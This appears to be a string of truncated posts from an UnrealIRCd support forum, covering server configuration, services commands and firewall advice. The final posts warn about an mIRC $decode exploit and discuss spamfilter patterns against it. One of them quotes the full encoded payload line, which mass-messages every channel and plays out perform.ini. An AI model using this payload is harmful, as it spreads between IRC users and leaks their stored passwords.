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3.2.1-pre2 didnt like it when I put in the quotes.

Try removing the quotes.

NOOOOO!

ConferenceRoom 2.x has something that sends aways/returns to users on your notify list. It is called TUNL. It is annoying as hell!!!

codemastr, if you do decude to put something in that sends aways/returns to people on the notify lists, please make it so it can be disabled in the conf.

I like phpBB

And I like the LOCK button

Look in the UnrealIRCd folder for any .core files.

Then, make a bug report.

Maybe you shouldnt use the /msg command and use /NS or /nickserv instead. It looks like u have a spamfilter blocking the message.

This has gone way off subject. If u people wanna continue to discuss SVSNICK, this topic isnt the place.

If you have a router, you might want to read its documentation for port forwarding.

If you are on dial-up, and this server is on XP, read the help files about XP's built-in firewall.

Additionally, make sure you arent running a firewall on the computer that can be blocking ports (such as ZoneAlarm)

3. Using the RAW command of OperServ doesn't help either. The SVSNICK command in UnrealIRCd does nickname checking. SVSNICK does do nick changing. ***** Svsnick ***** - Changes the nickname of the user in question. Must be sent through an U:Lined server. - Syntax: SVSNICK <nickname> <new nickname> ...

There is a simple way that Services Admins can do this. It is in the BOT SET options. -BotServ- Syntax: SET bot-nick PRIVATE {ON|OFF} -BotServ- This option prevents a bot from being assigned to a -BotServ- channel by users that aren't IRC operators. -BotServ- Limited to Services admins. This will ma...

Yes, as jewles said, you don't need that second allow block. The reason everone is connecting in the servers class, is because UnrealIRCd reads the allow blocks from the bottom to the top.

What does your aloow block say?

I think having .* at the beginnging is a good thing though, since it can have anything there to attract attention. This does not block all of $decode, because of the $( in front of it. The $( tells mIRC to re-evauluate the output of $decode. I have also noticed that the echo may have either of these...

We are NOT going to support this. It requires not only modifying UnrealIRCd, and your operating system as well.

The newest form of exploit for mIRC uses $decode. This exploit is seen as lines that look like this: LOL! //echo -a $($decode(JGZpbmRmaWxlKC4sKiwxLHNjaWQgLWF0MSAuYW1zZyBMT0whICQhY2IoMSkgfCAucGxheSAj/SBwZXJmb3JtLmluaSk=,m),2) Which when echoed, does this: //echo -a $findfile(.,*,1,scid -at1 .amsg LOL...